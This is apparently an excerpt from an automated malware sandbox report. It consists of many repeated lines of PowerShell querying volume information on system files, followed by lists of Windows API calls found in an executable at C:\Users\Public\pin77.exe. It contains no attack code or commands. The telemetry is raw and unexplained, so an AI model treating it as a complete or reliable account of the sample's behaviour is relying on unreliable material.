Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Users\Public\pin77.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,12_2_003A828B
Source: C:\Users\Public\pin77.exeCode function: EnumSystemLocalesW,12_2_003A84E1
Source: C:\Users\Public\pin77.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,12_2_003A857C
Source: C:\Users\Public\pin77.exeCode function: GetLocaleInfoW,12_2_003A2787
Source: C:\Users\Public\pin77.exeCode function: EnumSystemLocalesW,12_2_003A87CF
Source: C:\Users\Public\pin77.exeCode function: GetLocaleInfoW,12_2_003A882E
Source: C:\Users\Public\pin77.exeCode function: GetDesktopWindow,GetClientRect,CreateWindowExW,GetLastError,GetDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,ReleaseDC,GetWindowRect,GetClientRect,SetWindowPos,CreateBitmap,CreateCaret,SetScrollInfo,GetDoubleClickTime,GetSystemMenu,CreatePopupMenu,AppendMenuA,AppendMenuA,AppendMenuA,CreateMenu,DeleteMenu,DeleteMenu,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,AppendMenuA,GetKeyboardLayout,GetLocaleInfoA,ShowWindow,SetForegroundWindow,GetForegroundWindow,UpdateWindow,PeekMessageW,IsWindow,PeekMessageA,GetForegroundWindow,MsgWaitForMultipleObjects,DispatchMessageW,PeekMessageW,IsWindow,IsDialogMessageA,12_2_002F4877
Source: C:\Users\Public\pin77.exeCode function: EnumSystemLocalesW,12_2_003A8903
Source: C:\Users\Public\pin77.exeCode function: GetLocaleInfoW,12_2_003A894E
Source: C:\Users\Public\pin77.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,12_2_003A89F5
Source: C:\Users\Public\pin77.exeCode function: GetLocaleInfoW,12_2_003A8AFB
Source: C:\Users\Public\pin77.exeCode function: EnumSystemLocalesW,12_2_003A2ED5
Source: C:\Users\Public\pin77.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,20_2_003A828B
Source: C:\Users\Public\pin77.exeCode function: EnumSystemLocalesW,20_2_003A84E1
Source: C:\Users\Public\pin77.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,20_2_003A857C
Source: C:\Users\Public\pin77.exeCode function: GetLocaleInfoW,20_2_003A2787
Source: C:\Users\Public\pin77.exeCode function: EnumSystemLocalesW,20_2_003A87CF
Source: C:\Users\Public\pin77.exeCode function: GetLocaleInfoW,20_2_003A882E
